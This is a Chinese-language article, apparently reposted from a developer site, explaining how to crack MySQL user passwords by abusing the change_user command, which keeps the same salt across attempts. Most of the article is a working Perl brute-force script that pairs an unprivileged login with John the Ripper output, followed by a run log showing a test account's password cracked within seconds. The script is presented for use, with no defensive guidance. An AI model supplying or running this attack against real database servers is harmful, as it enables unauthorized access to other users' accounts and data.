MySQL中怎么破解本地和远程密码

开发技术 作者:Leah 2024-03-28 01:35:01
这篇文章给大家介绍MySQL中怎么破解本地和远程密码,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。方法如下:攻击者使用一个无特权帐号...

这篇文章给大家介绍MySQL中怎么破解本地和远程密码,内容非常详细,感兴趣的小伙伴们可以参考借鉴,希望对大家能有所帮助。


方法如下:
攻击者使用一个无特权帐号登录到 MySQL 服务器,mysql 有一个名为 change_user 的命令,该命令可用于在 mysql 会话中修改用户时的名字建议。因为这个命令执行非常快,因此可以很快速的用来破解 mysql 密码,而不是每次都重新连接到 mysql 服务器。
是什么导致非常慢?
因为使用 change_user 命令不会更改 SALT(这是一个弱点),而常规破解密码的方法每次连接时服务器都发送不同的 SALT。
下面是一个 Perl 脚本使用了 John the Ripper 的方法来生成密码:
测试的用户是 crackme 密码为 pass,只需数秒就可破解。
(大约 20 秒钟可测试 10 万密码)
测试脚本如下:

use Net::MySQL;

$|=1;

my $mysql = Net::MySQL->new(
 hostname => '192.168.2.3',
 database => 'test',
 user     => "user",
 password => "secret",
 debug => 0,
);

$crackuser = "crackme";

while(<stdin>) {
chomp;
$currentpass = $_;

$vv = join "",
        $crackuser,
        "\\x14".
        Net::MySQL::Password->scramble(
            $currentpass, $mysql->{salt}, $mysql->{client_capabilities}
        ) . "";
if ($mysql->_execute_command("\\x11", $vv) ne undef) {
    print "[*] Cracked! --> $currentpass\\n";
    exit;
}
}

下面是我这台机器上的执行结果:
C:\\Users\\kingcope\\Desktop>C:\\Users\\kingcope\\Desktop\\john179\\run\\jo
hn --incremental --stdout=5 | perl mysqlcrack.pl 
Warning: MaxLen = 8 is too large for the current hash type, reduced to 5 
words: 16382  time: 0:00:00:02  w/s: 6262  current: citcH 
words: 24573  time: 0:00:00:04  w/s: 4916  current: rap 
words: 40956  time: 0:00:00:07  w/s: 5498  current: matc3 
words: 49147  time: 0:00:00:09  w/s: 5030  current: 4429 
words: 65530  time: 0:00:00:12  w/s: 5354  current: ch241 
words: 73721  time: 0:00:00:14  w/s: 5021  current: v3n 
words: 90104  time: 0:00:00:17  w/s: 5277  current: pun2 
[*] Cracked! --> pass 
words: 98295  time: 0:00:00:18  w/s: 5434  current: 43gs 
Session aborted
祝你好远:)
via grok

关于MySQL中怎么破解本地和远程密码就分享到这里了,希望以上内容可以对大家有一定的帮助,可以学到更多知识。如果觉得文章不错,可以把它分享出去让更多的人看到。

原创声明
本站部分文章基于互联网的整理,我们会把真正“有用/优质”的文章整理提供给各位开发者。本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
本文链接:http://www.jiecseo.com/news/show_1141.html
mysql